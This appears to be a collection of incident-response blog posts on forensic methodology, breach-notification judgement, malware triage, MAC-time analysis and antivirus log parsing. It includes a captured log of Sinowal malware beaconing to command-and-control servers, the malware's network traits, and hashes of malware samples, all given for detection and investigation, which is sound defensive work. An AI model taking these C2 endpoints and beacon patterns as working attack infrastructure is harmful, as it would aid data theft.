What do you seek?

If you work in this field long enough you will come across a situation where you need to justify your methodology. You will be asked to show why you need to look at all of the data points you look at. It's par for the course. When I get asked to do this I respond simply by asking the following question in return.

Do you seek an answer or do you seek the truth?

This question tends to make the doubter pause. When you are staring a potentially damaging case in the face, do you seek an answer or do you seek the truth? More importantly do the decision makers seek an answer or the truth?

There is a school of thought out there that says if any file containing sensitive data is accessed after the system is compromised, then analysis should stop right there, a line should be drawn and anything accessed post compromise date should be notified upon. I talked about it back in December when discussing footprints in the snow. Think on that for a moment. If a system in your organization is compromised and you run an antivirus scan and trample on Access times, it means you're done, you're notifying, and you're going to have a lot to answer for when your customers get a hold of you. You will not have given the case its due diligence.

In just a second you'll see a graph that I generated. It shows file system activity based on a mactime summary file. Take a few moments to analyze the graph. *I did have to truncate the data set. There were hundreds of thousands of files touched on 5/12*



Does it tell you anything? Imagine the system were compromised on 5/5/09. There are a few things that should stand out almost immediately; Such as the dramatic increase in file system activity beginning on 5/11 and continuing through 5/12. Or how about more simply that there is a story to be told here.

Do you seek an answer or the truth?

A person in search of an answer is going to get a response of "ZOMG the attacker stole a lot of data and you're notifying on every single file contained on the system that contains PII data". If you seek an answer you are not interested in the story that needs to be told, you are not interested in any of the details of the case. You want simply to put the matter to rest, get it behind you and move on to the next case that will be decided by the uninformed.

A truth seeker will ask what happened on 5/11 and 5/12. A truth seeker will interview key individuals, a truth seeker will evaluate the log files present on the system and many other data points to determine what the cause was. A truth seeker will want to hear the story based on your expert opinion, which you reached by examining all sources of data.

A truth seeker will take interest upon hearing that the system administrator not only scanned the hard drive for malware, but he copied hundreds of thousands of files from the drive. A truth seeker will want to see the keystroke log files. A truth seeker will thank you for decrypting the configuration file and output used by the attacker to determine intent and risk. A truth seeker will ask you to look at network logs and a variety of other sources of data to reach a conclusion and render an opinion.

So, the next time someone questions your methodology ask them if they want an answer or the truth. If all they want is an answer, more power to them, ignorance is bliss after all but there is always a story to be told.

The malware question

Not long ago I asked myself a simple question.

How does an organization deal with malware when it comes to incident response and investigation?

The answer turned out to be quite complex and vague in nature. My answer? It depends.

So I started thinking..well what does it depend on?

I came up with the following list(with a little commentary):

What is it? Is it known or unknown? This is tricky because even the known (according to vendor definition) holds a lot of unknowns.

In an ever increasing trend, even the malware that has definitions, is poorly defined. These are what I've been calling "undocumented features". An antivirus vendor will commonly only provide a partial technical analysis to its customers. This leaves us in a state of having a definition, but only one that provides enough information to classify something as malicious. Your organization must evaluate what requires analysis and to what depth. In the past year or so, definitions are generic and generally useless in helping you determine the true capabilities of malware.

What is it capable of?

As above, malware capabilities must be learned before determining the risk to the organization. At present, I no longer believe in 'simple' malware. Each day I find the Gateway Malware Theory to be true. Capabilities tend to fly under the radar of many tools. In many organizations, if malware is detected, the threat is considered contained, even though this has been shown to be untrue. Containment is just the beginning.

What privileges does it require?

In several cases, malware that executes with user level privileges is operating in a crippled manner. Likewise, there is malware that only requires user level privileges to pose a risk. Many types of malware will lose their ability to establish a persistence mechanism when executed without elevated privileges.

What privileges did it have at the time of infection?

As above, If the malware executed with administrative rights, then regardless of its capabilities, it has all the access it requires to completely overtake a system. It can download additional malware and that malware adds more risk. Additionally, depending on its intended purpose, it will have full access to the data on the system.

How does it communicate?

This is important for a few reasons, not the least of which is encryption. If the malware communicates in an encrypted manner with a controller, then there may be almost no way to determine the contents of any transfer. This communication channel can help dictate the type of response to the infection.

Is it designed to search for or steal data?

Malware designed to search for or steal data obviously poses a greater risk to an organization than malware that is not designed for that purpose. The type of data that malware is intended to steal presents another twist. Take an Infostealer variant. On one hand, it may be designed to steal credit cards and bank account information. Another Infostealer variant may be designed to go after World of Warcraft information. It's all in the details.

Is data of a sensitive nature present or processed on the infected system?

This is important. If sensitive data is not present, processed on or accessible from the infected system, then what is the real risk? Maybe credential theft?

Does the user or system have access to other systems processing or storing sensitive data?

If the user that was logged in during the infection has access to sensitive data, or sensitive data is accessible from the system, then there is an inherently higher risk to the organization. If sensitive data is passed through the system, it's at risk. Simple enough.

Does the malware pose a risk to the individual user data or the organizations data?

Using the infostealer variant from above, if the malware is designed to steal things like amazon and ebay payment information versus say, execute a weaponized version of an SSN identification tool, then the risk to the organization is likely lower, unless of course the organization deals with amazon or ebay.

How long was the malware on the affected system, how was it detected, what actions were taken to remove the threat?

This one is kind of important. Many times I end up looking through antivirus log files and prior to the detection of the malware by the antivirus product- usually within the same 24 hour period, the antivirus definitions on the system were updated. What does this imply? It implies that the system was likely infected for longer than 24 hours. Was the malware caught before execution(auto protect mechanisms) or was it caught during a routine manual or scheduled scan? Again, the details make a difference. The delta from Time of Compromise to Time of Containment conributes to the Window of Risk. In addition, if the antivirus product did not fully remove the threat (some products will log certain types of threats versus actually stop them), then there is still a problem.

Being able to answer these questions will allow you to make a stronger case when presenting a case to a decision making body. This applies directly to the Reasonable Belief Criteria

reasonable belief

Just about every state now has a law that addresses data breaches and notification thereof. One thing they pretty much fail to do though is provide criteria for establishing reasonable belief. Well, what is it you might be asking?

Troy Larson provided the following to me for a definition: "As a legal standard, reasonable belief is defined as what an average person in similar circumstances might believe."

Ok, so that's easy enough. What would a layperson believe if presented with the circumstances. As it pertains to data loss investigations, we are never able to present our findings to an "objective" jury. Instead, we present our findings to a subjective group of individuals that have a stake in the data loss process. Sometimes you will be lucky enough to find yourself presenting your findings to a group or person with high ethical and moral standards who wants to do the 'right thing'(TM). If you are lucky enough to find yourself in front of a decision making group, what do you present? Of course, you present your findings in a factual manner, without attempting to inject bias or opinion (unless asked to render one). The role of decision maker is not ours afterall. However, we must take great care to not poison or influence the decision making process. Our analysis must be thorough and complete. It should not be based on assumption or speculation of "what if" or "they could have". That is not our role. Our role is to present what we found, and if something we expected to find, is not found, then we may have reason to suspect something is wrong.


So we must ask ourselves this question - Given normal circumstances, what would a layperson base their decision on? How is reasonable belief actually established?

I'm attempting to answer this very question. To do so, I pored over numerous reports and analyses and their resulting decisions. I did some other research and came up with the following areas that I think influence how a person develops a reasonable belief when weighing the decision to notify as a result of a data loss investigation.
*note these are high level and not intended to be 100% complete. The idea is to highlight areas of influence*



MAC times – Access times post compromise date, not explained by business processes or applications, not attested to by a user, not explained by registry analysis. No sign of MAC time tampering.

Depth/Breadth of penetration - System/root/administrative level access obtained on a system or obtained on multiple systems having access to sensitive data. Attacker had access to files or databases containing sensitive data. Stolen credentials used to log in to business systems and user account has access to sensitive data.

System - Log files suggest data was acquired. Registry analysis shows signs of searching for, or looking through files, opening files containing sensitive data, USB history shows signs of unrecognized devices being used. Internet history shows attacker activity indicating data exfiltration. In other words, this is the typical forensic analysis of a system.

Attack Profile - Targeted attacks, spear phish against specific group or individuals having access to sensitive data. Attack directed at a singular and specific target containing sensitive data.

Detection - I've discussed time previously so I won't cover it, but I will summarize it by saying that when the window of time from time of compromise to time of containment is longer than 3 months, the decision maker tends to be influenced by this fact. The same applies if the window is very small, say 24 hours. The speed with which an incident is detected is a large factor for the decision maker.

Network - Flows/packet captures suggest that data traveling to external entities involved in the incident contained sensitive information. Encrypted traffic flows to/from attack related IP addresses that can not be explained by configuration file.

Malware - Sophistication of malware suggests the ability to log keystrokes, sniff network traffic, modify timestamps, search for and/or steal data. Malware related artifacts show sensitive data being accessed. Malware is designed for theft of sensitive data.

Of course there will be corner cases where companies *SHOULD* automatically notify as in the case of a stolen or lost laptop/tape/hard drive, and data is unenecrypted. This is a huge topic so I'll be discussing it again...

The internet is for porn

It's a well known saying to be sure. The internet is for porn. Perhaps the funniest depiction of this was a chappelle show episode . It's probably NSFW if you've never seen it, and it's absolutely hilarious, but it definitely raises a number of points that speak to the industry we work in.

Here's a scenario for you..

Joe the finance executive at a bank is browsing the web. He visits a news site, and a link to a site that suggest adult conversations is flashing in the ad banner space. Joe is happily married yet he's curious, and temptation overrules logical thought. He's acting completely right brained. Living in the moment for the moment, not thinking about the future. He visits the "adult conversation" site and bam! he's assaulted with pictures and popups of all forms of pornography. Now Joe's in a whole other world. His basal instincts have taken over and what was supposed to be a quick check in of the local news turned in to a trip down porn lane. A few clicks later and an install of flash player, and he's merrily watching some streaming porn on his laptop at work.

Joe is happy, Joe is enjoying himself.


You, sitting in your position of overwatch, looking for strange and outlandish network behavior notice Joe's computer doing something like this:

111.222.33.44,FSPA,27289,72.213.167.190,FSA,80,909,573,11,6,0,0,TCP,POST / HTTP/1.1..Host: iexujguw.com..Content-Length: 116..Connection: close.....,HTTP/1.1 200 OK..Server: nginx/0.5.33..Date: Fri. 05 June 2008 16:20:27 GMT.

111.222.33.44,FSPA,42583,212.55.163.216,FSA,80,784,687,10,6,0,0,TCP,POST /4D3D07E3ABDFC3C5/qxUX4xETUFYBWqc0kaWCzvoCcAQCYSNwZgcyFiBAByC73XXm0CcAYgVSB,HTTP/1.1 200 OK..Server: nginx/0.5.35..Date: Fri. 05 June 2008 16:40:16 GMT.

111.222.33.44,FSPA,16197,212.55.163.216,FSA,80,848,1054,11,7,0,0,TCP,POST /4D3D07E3ABDFC3C5/qxUX4xETUFYBWqc0kaWCzvoCcAQCYSNwZgcyFiBAByC73XXm0CcAYgVSB,HTTP/1.1 200 OK..Server: nginx/0.5.35..Date: Fri. 05 June 2008 17:00:17 GMT.

111.222.33.44,FSPA,3884,66.102.1.101,FSPA,80,1334,12549,13,14,0,0,TCP,POST /safebrowsing/downloads?client=navclient-auto-ffox&appver=3.0.5&pver=2.2&wr,HTTP/1.1 200 OK..Content-Type: application/vnd.google.safebrowsing-update..Date:,,1010,,

111.222.33.44,FSPA,4124,66.102.1.100,FSPA,80,1322,12549,13,14,0,0,TCP,POST /safebrowsing/downloads?client=navclient-auto-ffox&appver=3.0.5&pver=2.2&wr,HTTP/1.1 200 OK..Content-Type: application/vnd.google.safebrowsing-update..Date:,,1010,,

111.222.33.44,FSPA,59619,212.55.163.216,FSA,80,784,687,10,6,0,0,TCP,POST /4D3D07E3ABDFC3C5/qxUX4xETUFYBWqc0kaWCzvoCcAQCYSNwZgcyFiBAByC73XXm0CcAYgVSB,HTTP/1.1 200 OK..Server: nginx/0.5.35..Date: Fri. 05 June 2008 17:20:18 GMT.

111.222.33.44,FSPA,51889,212.55.163.216,FSA,80,784,687,10,6,0,0,TCP,POST /4D3D07E3ABDFC3C5/qxUX4xETUFYBWqc0kaWCzvoCcAQCYSNwZgcyFiBAByC73XXm0CcAYgVSB,HTTP/1.1 200 OK..Server: nginx/0.5.35..Date: Fri. 05 June 2008 17:40:18 GMT.

111.222.33.44,FSPA,4392,66.102.1.101,FSPA,80,1438,12549,13,14,0,0,TCP,POST /safebrowsing/downloads?client=navclient-auto-ffox&appver=3.0.5&pver=2.2&wr,HTTP/1.1 200 OK..Content-Type: application/vnd.google.safebrowsing-update..Date:,,1010,,

111.222.33.44,FSPA,58415,212.55.163.216,FSA,80,784,687,10,6,0,0,TCP,POST /4D3D07E3ABDFC3C5/qxUX4xETUFYBWqc0kaWCzvoCcAQCYSNwZgcyFiBAByC73XXm0CcAYgVSB,HTTP/1.1 200 OK..Server: nginx/0.5.35..Date: Fri. 05 June 2008 18:00:20 GMT.

Joe has managed to visit one of the countless porn sites that is actually owned and/or operated by a sub-group in organized crime, or hosts malicious flash or other malware.

Joe, in his quest for local news, and following his temptations has opened up the organization to a whole new world of risk.

Joe is compromised.

Not only is he compromised but he's managed to get a copy of Sinowal loaded on to his computer. Joe, being the finance director at the bank has access to all of the financial information of all of the bank's customers, and he uses this access to run reports. Joe is now responsible for exposing the records for all of the customers of the bank.

Ok, enough about Joe.

What I find interesting about this all is how in a matter of a few seconds, one can go from a nice clean site to an awful bodega of porn in a matter of a few clicks. Like six degrees of separation, the internet appears to be '6 clicks to porn', as in from any site you can end up at a porn site in 6 clicks. It's like walking down a street in a major city and from block to block, you can go from the best part of the city, to the worst and most dangerous. I don't know many people that would willingly walk down a dark dank avenue known to have muggers and other dangerous people. Yet, people do it daily on the internet. Most users don't seem to put the two together. For some reason it's as if people still believe that computers are in a separate reality and whatever happens on a computer does not have the ability to affect real people or their lives.

If the saying is to be believed, that computers are deterministic then it can easily be stated that computers don't do bad things. People using computers doing stupid things leads to computers doing bad or stupid things.

That said, in the case of Joe, do you think he should be punished or should you simply investigate the computer intrusion? Do your intrusion investigations lead to investigation of the people using the computer? Is Joe the Witness, the Perpetrator, or the Victim? What's your decision making process?


There is a bit of intel to be gained from this post. Sinowal has definite characteristics on the network. In my experiences they are as follows:

• Always communicates with nginx webservers, acting as proxies.
• Uses a 20 minute timer, and will skew on occasion but not by much.
• Uses a static HTTP POST with 16 hex characters followed by a trailing slash.
• Uses a domain generation routine much like Srizbi and will do an HTTP POST to / at that domain name.

sticking out

Commonly, when an intrusion occurs, an attacker will leave behind various types of detritus. Often times this is in the form of malware or a toolkit. In a recent compromise the attacker downloaded and left 80 MB of tools behind! This is admittedly not par for the course. Typically I'll see about 5-10 MB of detritus per incident. Identifying these files and classifying them is increasingly difficult. Consider the picture I've placed here. In a world where all items are of approximately the same color, this ball sticks out like an eye sore against the backdrop. How about in a filesystem where good files are known, an unknown file will stick out. Ah...if only that utopia existed. It can, if you invest in whitelisting a common build, but for most people out there that's just not reality. Unfortunately not only is identifying malware difficult, but what do you do with something you suspect of being malicious?

Suppose you are a technician checking out a system that you suspect has been compromised. You check with your antivirus program and fail to detect anything strange. However, you notice something looks out of place. You could submit the malware to your antivirus vendor of choice, but depending on your licensing you may not get a response for 4-8 hours. Imagine malware living in your intranet for 4-8 hours because your vendor is slow. Believe me when I say that makes for a long day if you've never had to do it.

You could also bypass your vendor, get results quickly, develop a solution and roll it out in the time the vendor is working on a new definition. How would you do this?

As far as identification goes, what options are available? There are of course the more well known websites for submission. These sites have been mentioned and used by many for a long time now:
Virustotal
Anubis
CWSandbox
Norman
Jotti
Bit9

That's all well and good. I use these sites with some regularity, and the results have been good to date. There are some other options that you may or may not be aware of when you want to determine the badness(TM) of a file. Many of us are familiar with NSRL and other hashing projects and we should all be familiar with hashes and hashing files. Our tools do this for us automagically when we process an image, and if not, it's easy enough to generate a hashlist of the files in an image.

Suppose for a second that you have a list of files and their hashes, such as one generated by FTK Imager's directory listing capability. Suppose you want to take this list and look for possible malware. You could spend an obscene amount of money on a particular tool that matches hashes, or you could try some of these options:

Virus total hash matching
Offensivecomputing hash search
Team Cymru malware hash registry

And what about web based malware such as Javascript or Flash?

You could try these tools and sites:
Iseclabs Wepawet (The people behind Anubis)
Malzilla


For a little fun let's take a test drive of the Cymru malware hash registry.

First I'll hash some files(90% of which are malware):
loki:~ hogfly$ md5 *.exe
MD5 (724L1_setup_e.exe) = 848c95260d147543eff2e2c15acb58f1
MD5 (BR165652.exe) = d77d96af740af6805abcb2c572a758ce
MD5 (BR165680.exe) = 31c1d83de1db1aa5a806434d81183d79
MD5 (DNC-P-Ver.2.7.0.0.exe) = 518bcc3a6633dec8ceae3e0f02b4df60
MD5 (NATEON.exe) = af3c4884f690c48c115c8d9c55998141
MD5 (NVC.exe) = ee862735812241719960f2e069d99680
MD5 (abo.exe) = d2e23dbcbdd9a580b7897add524e4b09
MD5 (autorun.exe) = 3240c08878c7491b85b79c97db5c9204
MD5 (comrepl.exe) = 1d696a5dc70caa34d116344f50854d7f
MD5 (comrereg.exe) = 3619935460ddcb79f1ec9cc5710befc3
MD5 (dw8.exe) = f6da944f7c1ec3f0f8e6d673d9e9ff71
MD5 (envsetup.exe) = a1f8a82aad23a6b44cc92ee2eb1a10ef
MD5 (ff.exe) = 8a1b427981eecf67c60370b599c87dc6
MD5 (file.exe) = 107961dbceea53f729474b43c04302d4
MD5 (flvspeed.exe) = 45ce6d98337e4dba3e87d34adaf6d366
MD5 (hails.exe) = 5ebfe73e4fe237654a6bc07ed1712e7a
MD5 (hails2.exe) = 649d11e8d5676f0cee5c2a4a17f7e1a8
MD5 (index.exe) = 10980f4df2060b86a72eb5e533102980
MD5 (l07.exe) = 072ebc79aa1ff532c0d95f9a1ce4a395
MD5 (mfsl.exe) = 8fe25f71cbda9202995d74686eb5473e
MD5 (msdtc32.exe) = 205ca7ed3e6d8ae218c7fde2c50149f9
MD5 (net.exe) = c9c9a40e8a72907228e6a1bc9b5728ac
MD5 (net1.exe) = b8b857f3b5d8a8ef043fcf80120d0248
MD5 (omg.exe) = 654eef6ff6dbe666c1d9fd1f6049d525
MD5 (palzbn32.exe) = 28f02d257002221d367c0b43202c7a21
MD5 (pinyin.exe) = f9cbef1d67230b3845782b6fa11b976a
MD5 (rsscanner.exe) = a5953f3447a851f665702dd9afa63005
MD5 (scan.exe) = 29e20a4a5df73afee7acb3194f244b8e
MD5 (scann32.exe) = e464fb612104cc1da12c4d501cebe8df
MD5 (sss.exe) = 846790691b6f9717b9a1bf68e0bcd6e5

loki:~ hogfly$ whois -h hash.cymru.com 649d11e8d5676f0cee5c2a4a17f7e1a8
649d11e8d5676f0cee5c2a4a17f7e1a8 1224720131 31

loki:~ hogfly$ dig +short 649d11e8d5676f0cee5c2a4a17f7e1a8.malware.hash.cymru.com TXT
"1224720131 31"

loki:~ hogfly$ whois -h hash.cymru.com e464fb612104cc1da12c4d501cebe8df
e464fb612104cc1da12c4d501cebe8df 1221755478 25


So what do we have here? Two separate methods of doing a malware lookup (this is all explained on their site by the way). We simply feed them a hash and get back a unix datetime and the detection percentage of the malware. The detection percentage is a bit behind the curve and not all that accurate, but I would argue that it doesn't matter that much considering it's in their database and registered as malware. That doesn't mean I wouldn't like to see those numbers updated more frequently though. Cymru does support sending a large list of files via netcat for comparison, and I suspect that will be the most useful method of analysis for many out there.

For more active detection..If you've got about $25k I would strongly suggest you invest in a product called FireEye. I recently completed a demo of their product and all I can say is wow. I was most impressed. If you don't have the money for that you may want to try bothunter.


Here's to hoping you can identify and prosecute the investigation of suspicious files a little faster this year.

Footprints in the snow

A computer intrusion takes approximately 60 seconds (usually far less) from initial entry to setting up a back door with administrative access. If not detected within the golden hour, it tends to be about a month or more before someone notices they've been breached. Imagine you've been called to a crime scene involving a theft. The footprints above are representative of the footprints left by the suspect.

By the time we arrive on scene a lot has happened that affects our ability to accurately investigate the scene. Forces and Factors are at play. Time....it is the constant factor..the one force multiplier that can confound an investigation, above all else. You see, time is not a force in and of itself. It is a constant (as far as those of us who are not full time philosophers are concerned) that never changes. Consider the footprints in the photo above. All things being equal, if the weather did not vary from today's weather, and the temperature did not change; the snow would not melt, there would be no rain, no wind or other elements that would otherwise alter the footprints in the snow. However, as we are aware (again for those of us who are not full time philosophers), though time is a constant, the weather and other elements are not constant; they vary. It could be 60 degrees tomorrow, it could rain, or it could snow. Someone could ski over the footprints, someone could shovel it away...you get the idea.

Regarding digital investigations, time is what allows systems (Antivirus scans, scheduled defragmentation for instance) to impact artifacts left by an intruder, it is what allows the attacker more of an opportunity to find your PII data and cover their tracks. It is what allows the user to modify their files and the system. It is what allows untrained technicians the ability to delete files left by the attacker.

In short, Time is what permits other forces to have an effect on the persistence of data. We must be careful in this thinking so let me restate that it permits other forces to have an effect. It does not guarantee that a change will occur that will impact our ability to investigate the intrusion. So how do we use time in an investigation?

First we must accurately identify the time of intrusion. Once the intrusion is contained, we have what is called temporal proximity or the duration of time between two separate points in time. Our evaluation of artifacts takes place within this time frame. This is fairly well known, however I have seen this evaluation of artifacts squandered by those who suggest that the only evaluation that needs to take place is that of time itself. In practice what I have seen are those that simply evaluate MAC times. The evaluation is simple - any file containing PII data with an Access time that postdates the time of compromise is considered to be notifiable. This is a safe play and I congratulate those that feel morally and socially responsible enough to notify so easily, however it is a knee jerk reaction and indicates laziness. Look at this photo here, of the same location taken a day after the initial footprints were made.



What has happened to the footprints in the snow?

Time moving forward allowed the nights snow to cover the footprints. Are the footprints still present, or has the overnight period completely confounded the investigation? Would you be prone to suggesting that simply because there is fresh snow, the footprint is destroyed? Take a closer look. You can still see the feint outlines of footprints. Applying even the slightest amount of investigative elbow grease what do we see?


Hmmm..an impression of a foot, or footprint is easily visible. Now, we can easily expose the obscured tracks within a certain amount of time, though after enough time passes, the footprints will be indistinguishable from the surrounding area. As time passes the ability to identify accurately explain the source of the original footprints will become more difficult. It is because of this that speed is of the essence. We must close the gap between time of compromise and time of containment.

As seen below I have exposed the tracks but what else do you see?

That's right, you see additional footprints. How were they made, who made them and when? Were they made by another person, the intruder, me, or some other unknown force? Each footprint must now be analyzed individually. Had we casted the footprints after documenting the scene, and taken the casts for immediate analysis, our investigation would be more complete and accurate. Now we will have a slightly more difficult time but it can still be done. However we must be able to explain the changes that occurred in the time that elapsed since the original footprints were made.

You may be starting to see how time can confound the investigation of the original footprints. As time continues forward, the first responder and investigator must be even more careful to preserve the original. This is the reason documentation and a sound approach, especially when dealing with volatile data is critical.

And if time continues, then what? Will time allow more environmental forces to influence the ability to accurately investigate?


We can still see the rough outline of a footprint here, even though the snow is in the process of melting. Time has once again allowed another force to alter the original. Eventually, our ability to see the footprint disappears. After more time passed the footprint looks like this.


Wait. We can no longer accurately establish the location of the footprint. Now, in this case I simulated about 4 months of time, and it is around this point that our ability to accurately investigate an actively used system in an intrusion becomes nearly nil.

Okay..enough meatspace.

Remember I said that time is what permits other forces to have an effect on the data. This applies greatly to MAC times. An Antivirus scan could take place after the time of compromise that updates MAC times, a user could have accessed those files containing PII data; Simply put any force capable of modifying timestamps post compromise could have updated the timestamp. Given this, MAC times for this reason do not provide us with anything other than a point in time, a measurement if you will.

Secondly, time needs to be evaluated as a point or points when change occurs. Our role is to explain the cause of the change. When discussing digital forensics, systems should be evaluated as a world of events running in a steady mechanism of before and after, of cause and effect. When an intrusion has finally been contained and the analysis is underway we must evaluate the changes that took place during that window. Was a key file accessed? Who accessed it? Can we explain the access? Did the intruder gain administrative access? Did they have access to files containing PII data? Did they have access to other systems? Did they use that access? Did they install a backdoor? Did they enumerate your other systems? Did they attempt to cover their tracks? Is malware present? What are its capabilities? These are just some of the evaluations that must take place during the investigation.

Finally when a change occurs at a specific time, there will be several plausible explanations for the change. This is where we must apply a scientific method of testing the most plausible explanation for the change. We can reduce the noise.

For example:
FACT:
A file had an access time updated during the time an attacker was operating on a computer.

BACKGROUND:
Q: Under what conditions is an access time updated?

A: An access time is updated when a file is opened for reading, specifically a file's attributes.

Q: Does a file access time being updated indicate execution?

A: NO. It simply indicates that the file's attributes were accessed.

Example: the 'touch' command would update an access time, as would an A/V scan and many other utilities.

Conclusion: There are many plausible explanations for a file's access times being modified.

Our job: Determine what is most plausible and present your conclusions with supporting documentation.

Assuming a Windows XP system:
In the case of executable being executed under normal circumstances, what artifacts could we expect to find?
1) A prefetch file would be created
2) Depending upon method of execution we could expect to find artifacts in the registry.
3) Memory analysis would show that it had been executed
4) Other sources yet to be discovered or mentioned.


Variables: (Factors and Forces).
1) Intruder privileges - with full administrative privileges, the attacker effectively has their hand on the clock's dial, and do what they please.
2) System operation - Antivirus scans, backups, other scheduled tasks that have the potential to alter an access time.
3) User activity - a user logged in to the system at the time could have done something to update the access time.
4) Intruder activity - The attacker used ftp.exe or had a tool capable of modifying timestamps on the system.
5) Unknown possibility - something that hasn't been thought of or discovered that has the possibility to modify access times.

So, let's start processing this:

What we know:
- An antivirus scan was being run when the file access time was updated.
- The sysadmin confirmed this.
- There are no artifacts present in the registry suggesting execution.

Given the data presented, what do you believe? More important, what would someone else, a lay person (read: decision maker) in particular, be likely to believe?
That an access time had been updated by:
A) a normal system operation (A/V scan)
B) The attacker had executed the file and exfiltrated data.

Are these the only possibilities? No they are not. However, absent any data to refute that A is the most likely answer, what would someone be likely to believe?

For B to be the more likely answer in this case what must be present?
1) Network or other logs during the time of compromise suggesting ftp connections.
2) Artifacts suggesting execution of ftp.exe



Let me summarize:

1) Speed is of the essence. The gap in temporal proximity must be closed. Others have said this (notably AAron Walters and Harlan Carvey)
2) Time is a force multiplier that allows other forces to impact artifacts.
3) Intrusions must be analyzed in terms of changes that take place between t1 and t2.
4) Strict MAC time analysis is lazy and inaccurate, and should be a last resort investigative method.
5) Changes of probative value should be examined in depth and plausible explanations should be presented along with an opinion and documentation.

A quick analysis helper

I commonly analyze systems that run Symantec Antivirus Corporate Edition. A common question we have to answer is regarding the last date a scan was run and the date of the definition files. I did some quick research and came up with the following. May it also help others in the same situation.

The registry keeps track of symantec definition dates in:
HKLM\Software\Symantec\SharedDefs

Defwatch_10 is the value and the data contains the path and date of definitions and revision.

EX:
DEFWATCH_10 REG_SZ C:\PROGRA~1\COMMON~1\SYMANT~1\VIRUSD~1\20080902.016

Defdate is: 20080902, rev 16.

Log files are located in C:\Documents and Settings\All Users\Application Data\Symantec\Symantec Antivirus Corporation Edition\7.5\Logs

The key to the logfile is here

Files are timedate stamped as follows: mmddyyyy.Log

Pulling out relevant information can be accomplished in many ways.

One simple way is by doing the following:

[root (Logs)]# awk -F, '{print $5" "$6" "$7" "$8" "$35}' 09102008.Log

This returns the following information:

Computer Name, User logged in, Name of the malware identified, File location of the malware, IP Address of the system

A scan starting looks like this:

260A1C0B2618,3,2,9,D98B90D03,Administrator,,,,,,,16777216,"Scan started on selected drives and folders and all extensions.",1227890305,,0,,,,,0,,,,,,,,,,,{C446AF0D-2434-4C32-99F7-
B41DC042A2DC},,(IP)-0.0.0.0,,WORKGROUP,00:0C:29:E6:8C:72,10.1.6.6000,,,,,,,,,,,,,,,,0,,,,D98B90D03

The key to interpretation are fields 1-3. In this case it's 3,2,9 which indicates a realtime scan started. A realtime scan is obviously different than a manual scan in that a realtime scan is initiated by the system and a manual scan is initiated by the user. A manual scan looks like this:

260B1D142927,3,2,1,D98B90D03,Administrator,,,,,,,16777216,"Scan started on selected drives and folders and all extensions.",1230601302,,0,,,,,0,,,,,,,,,,,{C446AF0D-2434-4C32-99F7-B41DC042A2DC},,(IP)-0.0.0.0,,WORKGROUP,00:0C:29:E6:8C:72,10.1.6.6000,,,,,,,,,,,,,,,,0,,,,D98B90D03

The key again are fields 1-3 which in this case are 3,2,1. This is a clear indicator that a manual scan was started by Administrator. When someone says "I didn't run an antivirus scan", you now have a quick way to determine whether or not they are telling the truth.

The witness, the perpetrator and the victim Part I

When we investigate a system compromise we are often left with only one portion of the cause->effect equation. It's up to us to take what we are presented with, and reconstruct a crime scene in order to determine what happened and often times determine whether or not PII data was acquired.

Using your imagination, try picturing the following scenario:
You arrive at a crime scene at a jewelry store and are lead to a body laying on the floor in a pool of blood. There is a broken lamp on a table, a large dent in the painted wall at about the 5'6" mark near the victim, a hole farther down on the wall at about the two foot height mark. There's blood spatter on the wall, floor and ceiling. Bloody footprints surround the victim and lead away from the victim out the back door of the store. The jewelry cases are smashed and there's blood on some of the glass. The victim is wearing a blue sweater and grey pants, is female, weighs 120lbs and is 5'6" tall.

So what you have is an apparent homicide with many traditional sources of evidence in play. How would you begin to investigate this scenario?

Now imagine the following. You are lead to the scene of a computer intrusion at a local bank. You arrive at the office of a credit card manager and see the following:

A black dell optiplex 755 sits under a desk and a 19" monitor resides on the tabletop. An external hard drive is plugged in to the computer and resides on the tabletop, and you note a USB key plugged in to the USB hub on the monitor. A small HP MFC unit is plugged in and rests on a small table next to the desk. Some papers litter the desk along with a tabletop calendar, a rolodex and a phone and a blackberry. The computer is on, and has Microsoft Outlook 2003 open on the desktop along with excel, Internet Explorer and one of the banks internal applications for credit card management.

This is pretty typical. So, how do you begin your investigation? What's the major difference in the two scenarios ?

In scenario 1, you have appear to have no one to interview. You must examine the deceased, review tapes, interview acquaintances and so on.

In scenario 2, you have a person to interview. The credit card manager was obviously using the computer and someone decided to call you for one reason or another. You must be able to determine if they are the witness to the intrusion, the perpetrator or the victim. Or if they are all three!

Suppose in scenario 2 you conduct your interview before you touch the computer (which I always recommend). What questions do you ask? Questioning a person can be seen as a bit of an arcane art form. The goal is to get the interviewee to be forthcoming with responses. Many people get embarrassed easily and get defensive, especially if they know they did something they probably shouldn't have. We want them to be calm and accepting of us and our questions. So, set some ground rules with your own team first. A few helpful rules of interviewing could be:

1) Never accuse.
2) Keep your cool. Emotions play a larger role in system compromises than people believe.
3) Be aware of your body language. You must always be aware that your face, posture and hand play, are a huge role in gaining the trust of the interviewee.
4) Ask leading questions.
5) Listen. You can't learn anything if you're talking.
6) Be nice.
7) Get them talking and keep them talking until you have enough information to proceed appropriately.

With the information I provided in scenario 2, you have no way of knowing what has happened yet, however, I am willing to bet you have already made some assumptions and perhaps even made some hypotheses. This is a natural occurrence in the brain and it's not a bad thing, unless you fail to view every angle because you develop tunnel vision.

Assuming the credit card manager told you the following how would you proceed?

• They arrived at 7:45am
• They opened Outlook to check email, and read some mail
• They opened an excel attachment containing this month's stats
  
• They plugged in their blackberry to sync it
• They plugged in their usb key to copy files they were working on at home
• They opened IE and visited yahoo.com and started researching colleges for their teenage daughter who is looking at schools.

What your antivirus isn't telling you

Ever look at your antivirus logs or the antivirus logs of a compromised computer and found something like SillyFDC or Trojan.horse? These happen to be generic definitions provided by Symantec, but other vendors have generic detection signatures too. Generic detection is a common method of dealing with malware. While generic detection is generally fantastic, it's a big double edge sword.

Let me explain about the two types of malware above.

SillyFDC is a generic signature for removable media malware.

Trojan.horse has the following caption: Symantec antivirus programs use Trojan horse as a generic detection when detecting many individual but varied Trojan horse programs for which specific definitions have not been created.

So, using these signatures, we call things we don't have signatures for but exhibits trojan like properties a "trojan horse" and something that uses removable media as a spreading mechanism "SillyFDC". Ok, no problem right?

It is in fact a problem.

Antivirus now being the 40% solution against bots, it's likely to miss a recent variant of malware. Additionally, when your clients or users discovered a variant of these types of malware, how are they to know what to do? It's been detected generically. Symantec says that the malware is a low risk. Is it really? Again, how is an organization to know? What about how long it takes for an infection to be detected?

In a real world scenario, I first discovered a variant of removable media malware some 30 days before a definition was made available by Symantec. This malware, not only spread by removable media, but was a key stroke logger as well. Once Symantec generated a definition for it, it was labeled as trojan.horse.

